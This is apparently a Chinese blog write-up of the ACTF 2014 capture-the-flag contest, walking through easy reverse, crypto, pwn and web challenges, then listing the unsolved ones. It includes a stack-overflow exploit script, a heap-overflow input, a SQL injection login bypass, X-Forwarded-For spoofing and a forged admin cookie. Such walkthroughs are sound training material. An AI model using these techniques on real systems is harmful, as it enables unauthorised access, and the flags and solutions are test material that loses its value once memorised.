• ACTF 2014 Write up


    REVERSE 0    RE?

    说好的逆向题呢?
    出题人还没吃早饭呢,你们急什么。出门左转,乖乖做Web题,OK不?

    解题方法:

    此题卖萌。“OK不?”“ OK!”

    FLAG:

    OK

    CRYPTO 100    古老

    本题flag不在ACTF{}中。
    oivqmqgn, yja vibem naarn yi yxbo sqnyab yjqo q zixuea is gaqbn qdi. ykra jqn zira yi baseazy yjqy qeni ko yja ujbqzw rqdqhkoa. yjkn kn vjqy yja uquab saam kn qpixy: gix nxprky q uquab, va backav ky qom ky dayn uxpeknjam. oi oaam yi vqky q rioyj ib yvi xoyke gix naa gixb qbykzea ko yja oafy ujbqzw knnxa, vjao yja ykra jqn zira, va'ee mazkma yi zirukea q oav knnxa sbir yja qbykzean yjqy jqca paao nxprkyyam. yjqy'n pqnkzqeeg ky. qom dbqp gix seqd jaba, zbguyiiiniziieqrkbkdjy?

    解题方法:

    nowadays, the world seems to turn faster than a couple of years ago. time has come to reflect that also in the phraes magazine. this is what the paper feed is about: you submit a paper, we review it and it gets published. no need to wait a month or two until you see your article in the next phraes issue, when the time has come, we'll decide to compile a new issue from the articles that have been submitted. that's basically it. and grab you flag here, cryptooosocoolamiright?

    FLAG:

    cryptooosocoolamiright

    EXPLOIT 100    餐前甜点

    nc 218.2.197.236 2009
    crypto200.tar.gz
    下载链接:http://ctf.zjuisa.org/downloads/pwn100.b0aaaddb42c9569ef8a2c4b7a2c9ee18

    解题方法:

    用IDA打开,反编译得到main和game函数:

     1 char *__cdecl main()
     2 {
     3   char *result; // eax@1
     4   int v1; // [sp+1Ch] [bp-84h]@1
     5   int (*v2)(void); // [sp+9Ch] [bp-4h]@1
     6   v2 = 0;
     7   puts("== Welcome to PWWWWWWWWN world! ==
    ");
     8   fflush(stdout);
     9   result = gets((char *)&v1);
    10   if ( v2 )
    11   {
    12     puts("You are on the right way.");
    13     fflush(stdout);
    14     result = (char *)v2();
    15   }
    16   return result;
    17 }
    18 
    19 int __cdecl game()
    20 {
    21   int result; // eax@3
    22   FILE *stream; // [sp+1Ch] [bp-Ch]@1
    23   puts("Flag, gei ni yo");
    24   stream = fopen("/home/pwn/flag.txt", "r");
    25   while ( 1 )
    26   {
    27     result = fgetc(stream);
    28     if ( (_BYTE)result == -1 )
    29       break;
    30     putchar((char)result);
    31   }
    32   return result;
    33 }

    其中game函数可以打印出flag,函数入口为0x0804855c。
    在main函数里看到可以利用gets溢出v1覆盖v2从而执行if分支调用v2,v1长128个字符,在后面接上game的地址,注意call指令地址要倒序(栽在这上面好久。。。),用python:

    1 import socket
    2 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    3 sock.connect(('218.2.197.236', 2009))
    4 print sock.recv(1024)
    5 sock.send('xFF' * 128 + 'x5cx85x04x08' + '
    ')
    6 print sock.recv(1024)
    7 sock.close()

    FLAG:

    ACTF{This_is_an_easy_one_you_have_a_long_w4y_2_go}

    MISC 100  社(song)工(fen)

    听说参加ACTF的屌丝都喜欢上贴吧:)

    解题方法:

    此题送分,直接在百度贴吧搜素ACTF,可以找到http://tieba.baidu.com/p/2960754182帖子,复制flag:ACTF{WEL0VECTF_SDOIFJDF}
    后来有好多在ACTF发捣乱贴的误导别人,哎~

    FLAG:

    ACTF{WEL0VECTF_SDOIFJDF}

    WEB 100    flag之路

    少年,不来一发么。http://218.2.197.236:2005/index.php

    解题方法:

    打开http://218.2.197.236:2005/index.php,就一句话:

    Can you GET the way to flag?

    查源码:

    1 <html>
    2 <link rel="stylesheet" type="text/css" href="style.css">
    3 <br><br><br><br><br><br><br>
    4 Can you GET the way to flag?
    5 </html>
    6 <!--way = "H4ck_F0r_Fun!GoGoGo!" -->

    看到一句注释way="H4ck_F0r_Fun!GoGoGo!",试一下,嗯,果然不是flag。

    再看这句话,大写GET?,必有猫腻,HTTP的GET提交方式?

    试下http://218.2.197.236:2005/index.php?way=H4ck_F0r_Fun!GoGoGo!

    提交后,转到http://218.2.197.236:2005/322ad17d5b5fb56a810d9a295ffb5a8c.php

    还是一句话:“flag can only access in local machine! ”,查源码无果。只能本地访问,首先想到反向代理,但是怎么实现呢?然后就一直卡这了。

    后来根据大牛们的说法,添加HTTP请求头X-Forwarded-For:127.0.0.1即可,重新提交,获得flag。

     1 >>> import httplib
     2 >>> con=httplib.HTTPConnection('218.2.197.236',2005)
     3 >>> con.request('GET','//322ad17d5b5fb56a810d9a295ffb5a8c.php','',{'X-Forwarded-For':'127.0.0.1'})
     4 >>> res=con.getresponse()
     5 >>> data=res.read()
     6 >>> print data
     7 <link rel="stylesheet" type="text/css" href="style.css">
     8 Here is your flag: ACTF{I_love_H4ck_and_I_love_F4ck}<br><br><br><br><br><br><br><br>
     9 flag can only access in local machine!
    10 <br>

    FLAG:

    ACTF{I_love_H4ck_and_I_love_F4ck}

    CRYPTO 200  买不到票的怨念

    买不到TI4的门票觉得人生好灰暗。。crypto200.tar.gz
    下载链接:http://ctf.zjuisa.org/downloads/crypto200.tar.gz.d656ad805747d212e4b49a74a0b4e8c7

    解题方法:

    下载下来解压出4个文件:encryptor.py,msg01,msg01.enc,msg02.enc

    msg01是一句话:Welcome to AAA capture the flag you folks

    msg01.enc,msg02.enc都是乱码

    encryptor.py是个加密程序:

     1 f = open('msg01', 'rb').read()
     2 g = open('msg01.enc', 'wb')
     3 
     4 key = 'key'
     5 c = ''
     6 t = chr(0)
     7 i = 0
     8 
     9 for p in f:
    10     c = chr(( ord(p) + (ord(key[i % len(key)]) ^ ord(t)) + i**i ) & 0xff)
    11     t = p
    12     i += 1
    13     g.write(c)
    14 
    15 g.close()

    运行一下试试,发现msg01加密结果和题给的msg01.enc不一样,看代码估计是密钥key不一样的缘故,那么下面重点就是找key了,因为已知明文msg01和密文msg01.enc,写出下面代码:

     1 f = open('msg01', 'rb').read()
     2 g = open('msg01.enc', 'rb').read()
     3 k = open('key','wb')
     4 
     5 key = ''
     6 t = chr(0)
     7 i = 0
     8 
     9 for p in f:
    10     key = chr((ord(g[i]) - i**i - ord(p)) & 0xff ^ ord(t))
    11     t = p
    12     i +=1
    13     k.write(key)
    14 k.close()

    运行得key:DoNotTryToGuessWhatDoesD3AdCa7ThinkOfDoNo

    后面DoNo开始从头循环了,取前面一大串:DoNotTryToGuessWhatDoesD3AdCa7ThinkOf作为最后的key,写出解密代码:

     1 f = open('msg02', 'wb')
     2 g = open('msg02.enc', 'rb').read()
     3 
     4 key='DoNotTryToGuessWhatDoesD3AdCa7ThinkOf'
     5 c = ''
     6 t = chr(0)
     7 i = 0
     8 
     9 for p in g:
    10     c = chr(ord(p) - i**i - (ord(key[i % len(key)]) ^ ord(t)) & 0xff)
    11     t = c
    12     i += 1
    13     f.write(c)
    14 f.close()

    运行得到结果:

    High demand! No matches...
    Search again for these tickets (a fan may have let them go) or change quantity/ticket type.
    Get This damn fl4g plz
    ACTF{why_can_not_I_buy_a_TI4_ticket_It_it_so_terrible!!!!!!!!!!}

    FLAG:

    ACTF{why_can_not_I_buy_a_TI4_ticket_It_it_so_terrible!!!!!!!!!!}

    EXPOLIT 200  杀猪吃肉

    nc 218.2.197.236 2010
    crypto200.tar.gz
    下载链接:http://ctf.zjuisa.org/downloads/pwn200.676407435f65a98b11f7a3398491e04b

    解题方法:

    下载文件用IDA打开,发现是64位的,反编译插件不支持,只能抠汇编了晕。。。

    从main函数开始看:

      1 .text:0000000000400A1A                 public main
      2 
      3 .text:0000000000400A1A main:
      4 
      5 .text:0000000000400A1A                 push    rbp
      6 
      7 .text:0000000000400A1B                 mov     rbp, rsp
      8 
      9 .text:0000000000400A1E                 sub     rsp, 0A0h
     10 
     11 .text:0000000000400A25                 mov     [rbp-94h], edi
     12 
     13 .text:0000000000400A2B                 mov     [rbp-0A0h], rsi
     14 
     15 .text:0000000000400A32                 mov     edi, offset a_________ ; " _____  _                       _      "...
     16 
     17 .text:0000000000400A37                 call    _puts
     18 
     19 .text:0000000000400A3C                 mov     edi, offset a___ ; "/  ___|| |                     | |    |"...
     20 
     21 .text:0000000000400A41                 call    _puts
     22 
     23 .text:0000000000400A46                 mov     edi, offset a______________ ; "\ `--. | |  __ _  _   _   __ _ | |__  |"...
     24 
     25 .text:0000000000400A4B                 call    _puts
     26 
     27 .text:0000000000400A50                 mov     edi, offset a__________ ; " `--. \| | / _` || | | | / _` || '_ \ |"...
     28 
     29 .text:0000000000400A55                 call    _puts
     30 
     31 .text:0000000000400A5A                 mov     edi, offset a________ ; "/\__/ /| || (_| || |_| || (_| || | | ||"...
     32 
     33 .text:0000000000400A5F                 call    _puts
     34 
     35 .text:0000000000400A64                 mov     edi, offset a_____________0 ; "\____/ |_| \__,_| \__,_| \__, ||_| |_| "...
     36 
     37 .text:0000000000400A69                 call    _puts
     38 
     39 .text:0000000000400A6E                 mov     edi, offset a__ ; "                          __/ |        "...
     40 
     41 .text:0000000000400A73                 call    _puts
     42 
     43 .text:0000000000400A78                 mov     edi, offset a____0 ; "                         |___/         "...
     44 
     45 .text:0000000000400A7D                 call    _puts
     46 
     47 .text:0000000000400A82                 mov     rax, cs:stdout@@GLIBC_2_2_5
     48 
     49 .text:0000000000400A89                 mov     rdi, rax
     50 
     51 .text:0000000000400A8C                 call    _fflush
     52 
     53 .text:0000000000400A91                 jmp     short loc_400A94
     54 
     55 .text:0000000000400A93 ; ---------------------------------------------------------------------------
     56 
     57 .text:0000000000400A93
     58 
     59 .text:0000000000400A93 loc_400A93:                             ; CODE XREF: .text:0000000000400BE2j
     60 
     61 .text:0000000000400A93                                         ; .text:0000000000400C50j ...
     62 
     63 .text:0000000000400A93                 nop
     64 
     65 .text:0000000000400A94
     66 
     67 .text:0000000000400A94 loc_400A94:                             ; CODE XREF: .text:0000000000400A91j
     68 
     69 .text:0000000000400A94                 mov     rdx, cs:service
     70 
     71 .text:0000000000400A9B                 mov     rax, cs:auth
     72 
     73 .text:0000000000400AA2                 mov     rsi, rax
     74 
     75 .text:0000000000400AA5                 mov     edi, offset aKillpigPFeedpi ; "[ killPig = %p, feedPig = %p ]
    "
     76 
     77 .text:0000000000400AAA                 mov     eax, 0
     78 
     79 .text:0000000000400AAF                 call    _printf
     80 
     81 .text:0000000000400AB4                 mov     rax, cs:stdout@@GLIBC_2_2_5
     82 
     83 .text:0000000000400ABB                 mov     rdi, rax
     84 
     85 .text:0000000000400ABE                 call    _fflush
     86 
     87 .text:0000000000400AC3                 mov     rdx, cs:stdin@@GLIBC_2_2_5
     88 
     89 .text:0000000000400ACA                 lea     rax, [rbp-90h]
     90 
     91 .text:0000000000400AD1                 mov     esi, 80h
     92 
     93 .text:0000000000400AD6                 mov     rdi, rax
     94 
     95 .text:0000000000400AD9                 call    _fgets
     96 
     97 .text:0000000000400ADE                 test    rax, rax
     98 
     99 .text:0000000000400AE1                 jz      loc_400C5A      ; X
    100 
    101 .text:0000000000400AE7                 lea     rax, [rbp-90h]
    102 
    103 .text:0000000000400AEE                 mov     edx, 8
    104 
    105 .text:0000000000400AF3                 mov     esi, offset aKillpig ; "killPig "
    106 
    107 .text:0000000000400AF8                 mov     rdi, rax
    108 
    109 .text:0000000000400AFB                 call    _strncmp
    110 
    111 .text:0000000000400B00                 test    eax, eax
    112 
    113 .text:0000000000400B02                 jnz     short loc_400B64
    114 
    115 .text:0000000000400B04                 mov     edi, 8
    116 
    117 .text:0000000000400B09                 call    _malloc
    118 
    119 .text:0000000000400B0E                 mov     cs:auth, rax
    120 
    121 .text:0000000000400B15                 mov     rax, cs:auth
    122 
    123 .text:0000000000400B1C                 mov     edx, 8
    124 
    125 .text:0000000000400B21                 mov     esi, 0
    126 
    127 .text:0000000000400B26                 mov     rdi, rax
    128 
    129 .text:0000000000400B29                 call    _memset
    130 
    131 .text:0000000000400B2E                 lea     rax, [rbp-90h]
    132 
    133 .text:0000000000400B35                 add     rax, 8
    134 
    135 .text:0000000000400B39                 mov     rdi, rax
    136 
    137 .text:0000000000400B3C                 call    _strlen
    138 
    139 .text:0000000000400B41                 cmp     rax, 1Eh
    140 
    141 .text:0000000000400B45                 ja      short loc_400B64
    142 
    143 .text:0000000000400B47                 mov     rax, cs:auth
    144 
    145 .text:0000000000400B4E                 lea     rdx, [rbp-90h]
    146 
    147 .text:0000000000400B55                 add     rdx, 8
    148 
    149 .text:0000000000400B59                 mov     rsi, rdx
    150 
    151 .text:0000000000400B5C                 mov     rdi, rax
    152 
    153 .text:0000000000400B5F                 call    _strcpy
    154 
    155 .text:0000000000400B64
    156 
    157 .text:0000000000400B64 loc_400B64:                             ; CODE XREF: .text:0000000000400B02j
    158 
    159 .text:0000000000400B64                                         ; .text:0000000000400B45j
    160 
    161 .text:0000000000400B64                 lea     rax, [rbp-90h]
    162 
    163 .text:0000000000400B6B                 mov     edx, 5
    164 
    165 .text:0000000000400B70                 mov     esi, offset aReset ; "reset"
    166 
    167 .text:0000000000400B75                 mov     rdi, rax
    168 
    169 .text:0000000000400B78                 call    _strncmp
    170 
    171 .text:0000000000400B7D                 test    eax, eax
    172 
    173 .text:0000000000400B7F                 jnz     short loc_400B90
    174 
    175 .text:0000000000400B81                 mov     rax, cs:auth
    176 
    177 .text:0000000000400B88                 mov     rdi, rax
    178 
    179 .text:0000000000400B8B                 call    _free
    180 
    181 .text:0000000000400B90
    182 
    183 .text:0000000000400B90 loc_400B90:                             ; CODE XREF: .text:0000000000400B7Fj
    184 
    185 .text:0000000000400B90                 lea     rax, [rbp-90h]
    186 
    187 .text:0000000000400B97                 mov     edx, 7
    188 
    189 .text:0000000000400B9C                 mov     esi, offset aFeedpig ; "feedPig"
    190 
    191 .text:0000000000400BA1                 mov     rdi, rax
    192 
    193 .text:0000000000400BA4                 call    _strncmp
    194 
    195 .text:0000000000400BA9                 test    eax, eax
    196 
    197 .text:0000000000400BAB                 jnz     short loc_400BC7
    198 
    199 .text:0000000000400BAD                 lea     rax, [rbp-90h]
    200 
    201 .text:0000000000400BB4                 add     rax, 8
    202 
    203 .text:0000000000400BB8                 mov     rdi, rax
    204 
    205 .text:0000000000400BBB                 call    _strdup
    206 
    207 .text:0000000000400BC0                 mov     cs:service, rax
    208 
    209 .text:0000000000400BC7
    210 
    211 .text:0000000000400BC7 loc_400BC7:                             ; CODE XREF: .text:0000000000400BABj
    212 
    213 .text:0000000000400BC7                 lea     rax, [rbp-90h]
    214 
    215 .text:0000000000400BCE                 mov     edx, 5
    216 
    217 .text:0000000000400BD3                 mov     esi, offset aEatit ; "eatIt"
    218 
    219 .text:0000000000400BD8                 mov     rdi, rax
    220 
    221 .text:0000000000400BDB                 call    _strncmp
    222 
    223 .text:0000000000400BE0                 test    eax, eax
    224 
    225 .text:0000000000400BE2                 jnz     loc_400A93
    226 
    227 .text:0000000000400BE8                 mov     rax, cs:auth
    228 
    229 .text:0000000000400BEF                 mov     eax, [rax+20h]
    230 
    231 .text:0000000000400BF2                 test    eax, eax
    232 
    233 .text:0000000000400BF4                 jz      short loc_400C37
    234 
    235 .text:0000000000400BF6                 mov     edi, offset aFlagGeiNiYooo ; "Flag, gei ni yooo"
    236 
    237 .text:0000000000400BFB                 call    _puts
    238 
    239 .text:0000000000400C00                 mov     esi, offset aR  ; "r"
    240 
    241 .text:0000000000400C05                 mov     edi, offset aHomePwnFlag_tx ; "/home/pwn/flag.txt"
    242 
    243 .text:0000000000400C0A                 call    _fopen
    244 
    245 .text:0000000000400C0F                 mov     [rbp-8], rax
    246 
    247 .text:0000000000400C13                 jmp     short loc_400C20
    248 
    249 .text:0000000000400C15 ; ---------------------------------------------------------------------------
    250 
    251 .text:0000000000400C15
    252 
    253 .text:0000000000400C15 loc_400C15:                             ; CODE XREF: .text:0000000000400C33j
    254 
    255 .text:0000000000400C15                 movsx   eax, byte ptr [rbp-9]
    256 
    257 .text:0000000000400C19                 mov     edi, eax
    258 
    259 .text:0000000000400C1B                 call    _putchar
    260 
    261 .text:0000000000400C20
    262 
    263 .text:0000000000400C20 loc_400C20:                             ; CODE XREF: .text:0000000000400C13j
    264 
    265 .text:0000000000400C20                 mov     rax, [rbp-8]
    266 
    267 .text:0000000000400C24                 mov     rdi, rax
    268 
    269 .text:0000000000400C27                 call    _fgetc
    270 
    271 .text:0000000000400C2C                 mov     [rbp-9], al
    272 
    273 .text:0000000000400C2F                 cmp     byte ptr [rbp-9], 0FFh
    274 
    275 .text:0000000000400C33                 jnz     short loc_400C15
    276 
    277 .text:0000000000400C35                 jmp     short loc_400C55
    278 
    279 .text:0000000000400C37 ; ---------------------------------------------------------------------------
    280 
    281 .text:0000000000400C37
    282 
    283 .text:0000000000400C37 loc_400C37:                             ; CODE XREF: .text:0000000000400BF4j
    284 
    285 .text:0000000000400C37                 mov     edi, offset aWhoAreYouZhuto ; "Who are you! zhutou bu shi ni xiang chi"...
    286 
    287 .text:0000000000400C3C                 call    _puts
    288 
    289 .text:0000000000400C41                 mov     rax, cs:stdout@@GLIBC_2_2_5
    290 
    291 .text:0000000000400C48                 mov     rdi, rax
    292 
    293 .text:0000000000400C4B                 call    _fflush

    总体逻辑是顺序依次判断输入字符串与"killPig "(有空格)、"reset"、"feedPig"、"eatIt"是否一致并跳转到相应的操作上。

    第233行看到一个关键跳转:jz short loc_400C37,需要eax不为0才能执行下面打印flag的代码。

    而eax是.bss段auth+20H开始的值,这段内存由提交"killPig "后分配并置0,再通过提交"feedPig"+过长字符串从service溢出覆盖auth,最后提交"eatIt"打印flag:

    C:
    c11nt>nc 218.2.197.236 2010
    _____  _                       _      _                _
    
    /  ___|| |                     | |    | |              | |
    
     `--. | |  __ _  _   _   __ _ | |__  | |_   ___  _ __ | |__    ___   _   _  ___
       ___
     `--. | | / _` || | | | / _` || '_  | __| / _ | '__|| '_   / _  | | | |/ __
    | / _ 
    /\__/ /| || (_| || |_| || (_| || | | || |_ |  __/| |   | | | || (_) || |_| |\__
    |  __/
    \____/ |_| \__,_| \__,_| \__, ||_| |_| \__| \___||_|   |_| |_| \___/  \__,_||___
    / \___|
                              __/ |
    
                             |___/
    
    [ killPig = (nil), feedPig = (nil) ]
    killPig
    [ killPig = 0x2170010, feedPig = (nil) ]
    feedPigaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    aaaaaaaaa
    [ killPig = 0x2170010, feedPig = 0x2170030 ]
    [ killPig = 0x2170010, feedPig = 0x2170030 ]
    eatIt
    Flag, gei ni yooo
    ACTF{Why_not_try_zio_to_Pwwwwwwwwwn_Everything}
    [ killPig = 0x2170010, feedPig = 0x2170030 ]

    FLAG:

    ACTF{Why_not_try_zio_to_Pwwwwwwwwwn_Everything}

    WEB 200  讨厌的管理员

    FLAG在admin的手里!http://218.2.197.236:2005/web200/index.php

    解题方法:

    打开http://218.2.197.236:2005/web200/index.php是个登陆界面,标准注入:' or '1'='1

    提示flag在ae6032eeeb5cedc1555940983435335b.php

    打开http://218.2.197.236:2005/web200/ae6032eeeb5cedc1555940983435335b.php

    一句:wrong place man! key is not here.

    Are you kidding me!果然是忽悠人的。

    wireshark抓原报文:
    HTTP/1.1 200 OK
    Server: nginx/1.4.7
    Date: Sun, 06 Apr 2014 14:09:09 GMT
    Content-Type: text/html
    Transfer-Encoding: chunked
    Connection: keep-alive
    X-Powered-By: PHP/5.5.10
    realkeyisin: beda47ac34562108ee149767c61cb0ec.php
    7d
    <link rel="stylesheet" type="text/css" href="style.css">
    <br><br><br><br><br><br><br><br>
    wrong place man! key is not here.

    看到有个realkeyisin:beda47ac34562108ee149767c61cb0ec.php

    打开http://218.2.197.236:2005//web200/beda47ac34562108ee149767c61cb0ec.php

    一句话:You find it! But only admin can see the flag...can you see it?

    又是管理员什么玩意的,到这我是看不懂了,听说加个Cookie:admin=1就行?

    GET http://218.2.197.236:2005//web200/beda47ac34562108ee149767c61cb0ec.php HTTP/1.1
    Host: 218.2.197.236:2005
    Connection: keep-alive
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36
    Accept-Encoding: gzip,deflate,sdch
    Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
    Cookie: admin=1

    这题纯属看缘分。

     1 >>> import httplib
     2 >>> con=httplib.HTTPConnection('218.2.197.236',2005)
     3 >>> con.request('GET','/web200/beda47ac34562108ee149767c61cb0ec.php','',{'Cookie':'admin=1'})
     4 >>> res=con.getresponse()
     5 >>> data=res.read()
     6 >>> print data
     7 <link rel="stylesheet" type="text/css" href="style.css">
     8 
     9 <br><br><br><br><br><br><br><br>
    10 
    11 You find it! But only admin can see the flag...can you see it?<br>
    12 
    13 flag:ACTF{I_donot_need_sex_life_fxxks_me_everyday}
    14 >>> 

    FLAG:

    ACTF{I_donot_need_sex_life_fxxks_me_everyday}

    好了,我这水平也就能做做100、200的题,下面就坐等大神们的write up了。

    MISC 300  S4ndb0x

    http://218.2.197.236:2015

    MISC 300  抓(zhua)包(zhu)

    猪头在自习室用手机的流量被全部抓到了!看看流量里有什么有意思的东西?
    链接:http://pan.baidu.com/s/1ntrzThB 密码:cbf2

    MISC 300  找(ri)bug(猪)

    猪头喜欢上oschina,找死猫要了一个安卓客户端,不过死猫居心叵测在里面留了一个后门。听说猪头在oschina用私信约了一个妹妹,现在给你一个种马的机会,看能不能把猪头约炮的私信偷出来?当然要绕过杀毒哦。
    http://218.2.197.236:2007

    WEB 300  喵喵喵喵

    管理员小陆搭了个服务器,但是好像漏洞蛮多哟。
    http://218.2.197.236:2001/index.html

    CRYPTO 400  老大哥aay的秘密

    老大哥aay给了你一个神秘文件,你看着办吧flag.rar
    下载链接:http://ctf.zjuisa.org/downloads/flag.rar.f4cc03f0637d6ac68e5fa230a65a4071

    MISC 400  赞助商

    你大家快来看赞助商!hidden.png
    下载链接:http://ctf.zjuisa.org/downloads/hidden.png.dc1ae8d8f43c52dd53cce50b7b253593

    WEB 400  贡丸酱

    web300没做出来的话这题做出来的希望不大,你以为你是可爱的贡丸酱么( つ•�ω•�)つ
    (贡丸酱到底算不算提示呢)
    (web300和web400都不需要使用扫描器)
    (本题flag并不是ACTF形式的,你提交的flag中也不需要包含任何形式的括号)
    http://218.2.197.236:2003

    提示
    现在可以公开的情报:
    管理员是个很懒的人,他的笔记几乎没有任何废话。

    WEB 500  丧心病狂的黑客

    管理员小陆搭的服务器被人日穿了(见web300),小陆被boss骂了个狗血淋头。然后boss勒令小陆再搭一遍,小陆在某内网换了个架构(原架构是nginx)又搭了一遍web300的站,修补了部分漏洞。boss和小陆都是那台服务器的用户,这样boss发现小陆又写出漏洞代码就会及时记录在服务器上。

    接受挑战,hackers,日穿这台位置未知的内网服务器!!!
    (本题和之前的web题有紧密联系!!!)
    (部分关键文件每十分钟重置一次!!!)
    (本题flag不包含有ACTF字样,不包含有任何括号!!!)
    (Drink All The Booze , Hack All The Things!!!)

    提示
    第一步先确定服务器位置

    REVERSE 800  Chaos

    Download: http://pan.baidu.com/s/1i3GA4zr
    Password: ophk

    ATQA (SENS_RES): 00 04
    UID (NFCID1): AD EA DC A7
    SAK (SEL_RES): 08

    请你帮这只死猫计算出 0 扇区的 KeyA 和 3 扇区的 KeyB
    Flag = ( Sector_0_KeyA + Sector_3_KeyB ).encode('hex').upper()

    提示
    exported and non-exported entries can ease your life

    Log => Code Path, Google => Document, Server => Secret, Reuse => No More Reverse

    REVERSE 800  NonStandard

    链接: http://pan.baidu.com/s/1pJO5QeZ 密码: lk1d
    写不出 Keygen 都不好意思说自己是搞逆向的
    请写出 Keygen 发送至 ACTF.NonStandard@gmail.com,解决“暗桩”有额外加分

    提示
    看标题

    REVERSE 800  Verify

    链接: http://pan.baidu.com/s/1GOO3c 密码: 6q9f

    提示
    RTFM

    Over

  • 相关阅读:
    Discuz论坛自动发帖机
    C#测试数据库连接是否成功
    JS重写提示框(confirm)
    随笔 选择
    随笔 诚实
    web项目经理手册【1】版本控制流程
    Asp.net多层架构中的变量引用与传递
    ASP.NET跨页面传值技巧总结
    web项目经理手册【3】Code Review
    web项目经理手册【7】项目经理需要铭记在心的话
  • 原文地址:https://www.cnblogs.com/solarya/p/3651364.html
Copyright © 2020-2023  润新知